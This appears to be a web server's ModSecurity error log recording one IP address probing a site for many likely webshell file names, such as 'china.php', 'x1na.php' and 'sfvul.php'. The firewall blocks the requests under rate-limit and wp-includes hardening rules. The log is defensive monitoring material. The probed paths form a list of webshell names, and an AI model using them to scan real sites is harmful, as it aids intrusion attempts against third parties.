[Tue Mar 24 05:54:47.181235 2026] [:error] [pid 3032:tid 3112] [client 172.213.136.15:49673] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws35.php"] [unique_id "acG2pya_-JXXD03-JNzK2gAAAIk"]
[Tue Mar 24 05:54:49.550656 2026] [:error] [pid 3031:tid 3095] [client 172.213.136.15:22464] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/XxX.php"] [unique_id "acG2qaJBKytnG47nuibfjgAAAFM"]
[Tue Mar 24 05:54:50.772116 2026] [:error] [pid 38767:tid 38775] [client 172.213.136.15:6882] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/XxX.php"] [unique_id "acG2qvwkUqN4GJAI5oV-XAAAAQU"]
[Tue Mar 24 05:54:51.928990 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:25514] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/XxX.php"] [unique_id "acG2q_wkUqN4GJAI5oV-YgAAAQg"]
[Tue Mar 24 05:54:52.817697 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:22167] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/XxX.php"] [unique_id "acG2rPwkUqN4GJAI5oV-ZgAAAQQ"]
[Tue Mar 24 05:54:53.799669 2026] [:error] [pid 64198:tid 64215] [client 172.213.136.15:49668] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/litanies.php"] [unique_id "acG2rXVzJqf6OS_oSZ3S1AAAAU8"]
[Tue Mar 24 05:55:15.188107 2026] [:error] [pid 3137:tid 3140] [client 172.213.136.15:33019] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blnux.php"] [unique_id "acG2w5dZesutm6dfYM_n1AAAAME"]
[Tue Mar 24 05:55:25.870129 2026] [:error] [pid 64198:tid 64213] [client 172.213.136.15:29750] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blnux.php"] [unique_id "acG2zXVzJqf6OS_oSZ3TFwAAAU0"]
[Tue Mar 24 05:55:28.005579 2026] [:error] [pid 3137:tid 3163] [client 172.213.136.15:36547] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blnux.php"] [unique_id "acG20JdZesutm6dfYM_n5AAAANg"]
[Tue Mar 24 05:55:31.887366 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:38697] [client 172.213.136.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "acG205dZesutm6dfYM_n7wAAAMo"]
[Tue Mar 24 05:55:33.675593 2026] [:error] [pid 64198:tid 64214] [client 172.213.136.15:26416] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1na.php"] [unique_id "acG21XVzJqf6OS_oSZ3THQAAAU4"]
[Tue Mar 24 05:55:34.475527 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:22686] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1na.php"] [unique_id "acG21vwkUqN4GJAI5oV-ogAAAQ8"]
[Tue Mar 24 05:55:35.371016 2026] [:error] [pid 3031:tid 3087] [client 172.213.136.15:21502] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1na.php"] [unique_id "acG216JBKytnG47nuibfnQAAAEs"]
[Tue Mar 24 05:55:39.188694 2026] [:error] [pid 3032:tid 3106] [client 172.213.136.15:36565] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1na.php"] [unique_id "acG22ya_-JXXD03-JNzLCgAAAIM"]
[Tue Mar 24 05:55:40.478041 2026] [:error] [pid 3031:tid 3096] [client 172.213.136.15:37790] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "acG23KJBKytnG47nuibfoQAAAFQ"]
[Tue Mar 24 05:55:41.891108 2026] [:error] [pid 3030:tid 3061] [client 172.213.136.15:26363] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "acG23QyOuILyynfcqfn4yAAAAAw"]
[Tue Mar 24 05:55:44.436000 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:26634] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "acG24PwkUqN4GJAI5oV-twAAAQI"]
[Tue Mar 24 05:55:45.882352 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:31985] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "acG24fwkUqN4GJAI5oV-vAAAAQM"]
[Tue Mar 24 05:55:47.796447 2026] [:error] [pid 3031:tid 3081] [client 172.213.136.15:37794] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lite.php"] [unique_id "acG246JBKytnG47nuibfpgAAAEU"]
[Tue Mar 24 05:55:49.357903 2026] [:error] [pid 64198:tid 64212] [client 172.213.136.15:26259] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lite.php"] [unique_id "acG25XVzJqf6OS_oSZ3TLwAAAUw"]
[Tue Mar 24 05:55:50.717301 2026] [:error] [pid 3030:tid 3057] [client 172.213.136.15:37801] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lite.php"] [unique_id "acG25gyOuILyynfcqfn43QAAAAg"]
[Tue Mar 24 05:55:52.511947 2026] [:error] [pid 3137:tid 3157] [client 172.213.136.15:26340] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lite.php"] [unique_id "acG26JdZesutm6dfYM_n9gAAANI"]
[Tue Mar 24 05:55:53.916300 2026] [:error] [pid 38767:tid 38779] [client 172.213.136.15:23868] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qjaqjahu.php"] [unique_id "acG26fwkUqN4GJAI5oV-xgAAAQk"]
[Tue Mar 24 05:55:54.910642 2026] [:error] [pid 3032:tid 3113] [client 172.213.136.15:23941] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qjaqjahu.php"] [unique_id "acG26ia_-JXXD03-JNzLFQAAAIo"]
[Tue Mar 24 05:55:56.359448 2026] [:error] [pid 64198:tid 64207] [client 172.213.136.15:26652] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qjaqjahu.php"] [unique_id "acG27HVzJqf6OS_oSZ3TOQAAAUc"]
[Tue Mar 24 05:55:58.075882 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:26365] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qjaqjahu.php"] [unique_id "acG27pdZesutm6dfYM_n_AAAANM"]
[Tue Mar 24 05:55:58.919882 2026] [:error] [pid 3137:tid 3153] [client 172.213.136.15:26304] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acG27pdZesutm6dfYM_n_wAAAM4"]
[Tue Mar 24 05:55:59.984800 2026] [:error] [pid 3031:tid 3090] [client 172.213.136.15:21140] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acG276JBKytnG47nuibfrwAAAE4"]
[Tue Mar 24 05:56:01.776280 2026] [:error] [pid 3032:tid 3128] [client 172.213.136.15:30741] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acG28Sa_-JXXD03-JNzLGgAAAJg"]
[Tue Mar 24 05:56:03.098421 2026] [:error] [pid 3031:tid 3086] [client 172.213.136.15:25353] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acG286JBKytnG47nuibfsQAAAEo"]
[Tue Mar 24 05:56:03.993574 2026] [:error] [pid 3031:tid 3091] [client 172.213.136.15:26639] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xrp.php"] [unique_id "acG286JBKytnG47nuibftAAAAE8"]
[Tue Mar 24 05:56:04.785697 2026] [:error] [pid 64198:tid 64210] [client 172.213.136.15:24643] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xrp.php"] [unique_id "acG29HVzJqf6OS_oSZ3TSQAAAUo"]
[Tue Mar 24 05:56:05.736703 2026] [:error] [pid 3031:tid 3100] [client 172.213.136.15:23857] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xrp.php"] [unique_id "acG29aJBKytnG47nuibftwAAAFg"]
[Tue Mar 24 05:56:06.829540 2026] [:error] [pid 64198:tid 64220] [client 172.213.136.15:23964] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xrp.php"] [unique_id "acG29nVzJqf6OS_oSZ3TTwAAAVQ"]
[Tue Mar 24 05:56:07.792505 2026] [:error] [pid 64198:tid 64224] [client 172.213.136.15:23488] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tnt.php"] [unique_id "acG293VzJqf6OS_oSZ3TUAAAAVg"]
[Tue Mar 24 05:56:11.055395 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:24050] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tnt.php"] [unique_id "acG2-_wkUqN4GJAI5oV-1AAAAQ8"]
[Tue Mar 24 05:56:12.544482 2026] [:error] [pid 38767:tid 38782] [client 172.213.136.15:25969] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tnt.php"] [unique_id "acG2_PwkUqN4GJAI5oV-2AAAAQw"]
[Tue Mar 24 05:56:35.890252 2026] [:error] [pid 3032:tid 3106] [client 172.213.136.15:40693] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ch.php"] [unique_id "acG3Eya_-JXXD03-JNzLQwAAAIM"]
[Tue Mar 24 05:56:37.396510 2026] [:error] [pid 3030:tid 3071] [client 172.213.136.15:29980] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ch.php"] [unique_id "acG3FQyOuILyynfcqfn4-gAAABY"]
[Tue Mar 24 05:56:38.154906 2026] [:error] [pid 64198:tid 64209] [client 172.213.136.15:25419] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ch.php"] [unique_id "acG3FnVzJqf6OS_oSZ3TsgAAAUk"]
[Tue Mar 24 05:56:39.826432 2026] [:error] [pid 64198:tid 64216] [client 172.213.136.15:38126] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ch.php"] [unique_id "acG3F3VzJqf6OS_oSZ3TvwAAAVA"]
[Tue Mar 24 05:56:41.078699 2026] [:error] [pid 3032:tid 3124] [client 172.213.136.15:40663] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "acG3GSa_-JXXD03-JNzLSAAAAJU"]
[Tue Mar 24 05:56:42.059768 2026] [:error] [pid 64198:tid 64212] [client 172.213.136.15:25981] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "acG3GnVzJqf6OS_oSZ3TxQAAAUw"]
[Tue Mar 24 05:56:43.009410 2026] [:error] [pid 64198:tid 64205] [client 172.213.136.15:31356] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "acG3G3VzJqf6OS_oSZ3TxwAAAUU"]
[Tue Mar 24 05:56:44.043533 2026] [:error] [pid 3137:tid 3154] [client 172.213.136.15:31336] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "acG3HJdZesutm6dfYM_oJgAAAM8"]
[Tue Mar 24 05:56:45.022224 2026] [:error] [pid 64198:tid 64217] [client 172.213.136.15:29972] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "acG3HXVzJqf6OS_oSZ3TzQAAAVE"]
[Tue Mar 24 05:56:46.919869 2026] [:error] [pid 64198:tid 64224] [client 172.213.136.15:40651] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "acG3HnVzJqf6OS_oSZ3T1AAAAVg"]
[Tue Mar 24 05:56:50.558303 2026] [:error] [pid 3137:tid 3163] [client 172.213.136.15:23783] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "acG3IpdZesutm6dfYM_oKAAAANg"]
[Tue Mar 24 05:56:51.919795 2026] [:error] [pid 64198:tid 64208] [client 172.213.136.15:39888] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "acG3I3VzJqf6OS_oSZ3T6wAAAUg"]
[Tue Mar 24 05:56:53.350893 2026] [:error] [pid 64198:tid 64207] [client 172.213.136.15:29277] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sfvul.php"] [unique_id "acG3JXVzJqf6OS_oSZ3T8gAAAUc"]
[Tue Mar 24 05:56:54.923202 2026] [:error] [pid 64198:tid 64212] [client 172.213.136.15:38140] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sfvul.php"] [unique_id "acG3JnVzJqf6OS_oSZ3T-wAAAUw"]
[Tue Mar 24 05:56:56.582637 2026] [:error] [pid 3032:tid 3105] [client 172.213.136.15:39915] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sfvul.php"] [unique_id "acG3KCa_-JXXD03-JNzLiQAAAII"]
[Tue Mar 24 05:56:58.032186 2026] [:error] [pid 64198:tid 64224] [client 172.213.136.15:23788] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sfvul.php"] [unique_id "acG3KnVzJqf6OS_oSZ3UAQAAAVg"]
[Tue Mar 24 05:57:00.113231 2026] [:error] [pid 3032:tid 3121] [client 172.213.136.15:31889] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/china.php"] [unique_id "acG3LCa_-JXXD03-JNzLvgAAAJI"]
[Tue Mar 24 05:57:01.899978 2026] [:error] [pid 64198:tid 64219] [client 172.213.136.15:26537] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/china.php"] [unique_id "acG3LXVzJqf6OS_oSZ3UDAAAAVM"]
[Tue Mar 24 05:57:03.332494 2026] [:error] [pid 64198:tid 64204] [client 172.213.136.15:28907] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/china.php"] [unique_id "acG3L3VzJqf6OS_oSZ3UDgAAAUQ"]
